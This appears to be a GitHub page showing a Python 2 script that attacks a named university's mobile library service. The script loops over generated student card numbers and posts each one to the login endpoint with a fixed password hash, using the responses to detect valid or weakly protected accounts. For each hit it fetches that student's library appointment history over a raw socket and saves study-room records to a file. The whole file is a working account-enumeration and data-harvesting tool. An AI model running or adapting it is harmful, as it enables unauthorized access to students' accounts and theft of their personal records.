-
Notifications
You must be signed in to change notification settings - Fork 0
/
pz816.py
152 lines (100 loc) · 4.1 KB
/
pz816.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import time
import socket
import requests
from datetime import datetime, timedelta
from time import sleep
import simplejson
a=b=c=i=0
one=1
def printcn(b): #配置中文输出函数
sys_encoding = sys.getfilesystemencoding()
print(b.decode('utf-8').encode(sys_encoding))
reload(sys)
sys.setdefaultencoding("utf-8")
def xhjc():
url = 'http://mob.huanghuai.edu.cn/huanghuai/booksLogin'
headers = {'cache':'60','Cache-Control':'max-age=2592000','Content-Type':'application/x-www-form-urlencoded','Content-Length':'60','Host':'mob.huanghuai.edu.cn','Connection':'Keep-Alive','Accept-Encoding':'gzip','User-Agent':'okhttp/3.9.0'}
data = {'jszh':'YKT'+str(xh)+'','password':'202cb962ac59075b964b07152d234b70'}
Soj_session = requests.session()
res = Soj_session.post(url, data=data, headers=headers)
nr=res.text
if '-2' in nr:
print 'xxx'+str(xh)
return 0
if '-1' in nr:
print 'vvv'+str(xh)
return 1
if '0' in nr:
print 'vvv'+str(xh)
return 2
z=2599
x=100
xh='15'+str(z)+'0101'
while z<5000:
z=z+1
xh='15'+str(z)+'0101'
if xhjc()>0:
while x<900:
x=x+1
xh='15'+str(z)+'0'+str(x)
if xhjc()>0:
print ' '+str(xh)
message ='GET http://mob.huanghuai.edu.cn/huanghuai/libraryAppointmentOrder_historyList?cardnum=YKT'+str(xh)+'&page=1&pageSize=1 HTTP/1.1\r\ncache: 0\r\nHost: mob.huanghuai.edu.cn\r\n\r\n'
try: #创建socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
printcn("socket 接口创建" )
except:
s.close()
printcn("socket 创建失败 " )
continue
if one:
one=0
try: #解析地址端口
host = 'mob.huanghuai.edu.cn'
remote_ip= socket.gethostbyname( host )
port = 80
socket.gethostbyname( host )
print remote_ip
printcn("解析服务器地址成功" )
printcn( str(host) + " " + str(remote_ip))
except:
s.close()
printcn("无法解析服务器地址 请检查网络")
printcn("即将尝试重启socket")
one=1
continue
ip=remote_ip
try: # 连接服务器
s.connect((ip,80))
printcn("连接至服务器" + str(remote_ip) +"成功" )
except:
printcn("服务器无法链接 检查服务器状态")
printcn("即将尝试重启socket")
s.close()
continue
try :
#Set the whole string
printcn("数据即将发送 ")
s.sendall(message)
printcn('数据已经发送 ')
except:
#Send failed
printcn("发送失败" + str(c))
s.close()
continue
reply = s.recv(4096)
s.close()
reply1=reply[295:]
printcn (reply1)
if '自习室' in reply:
print 'need'
#C:\Users\Administrator\Documents
file = open('/Users/Administrator/Documents/pz831.txt','a')
file.write(xh+reply1)#
file.close()
else:
print 'not'
x=100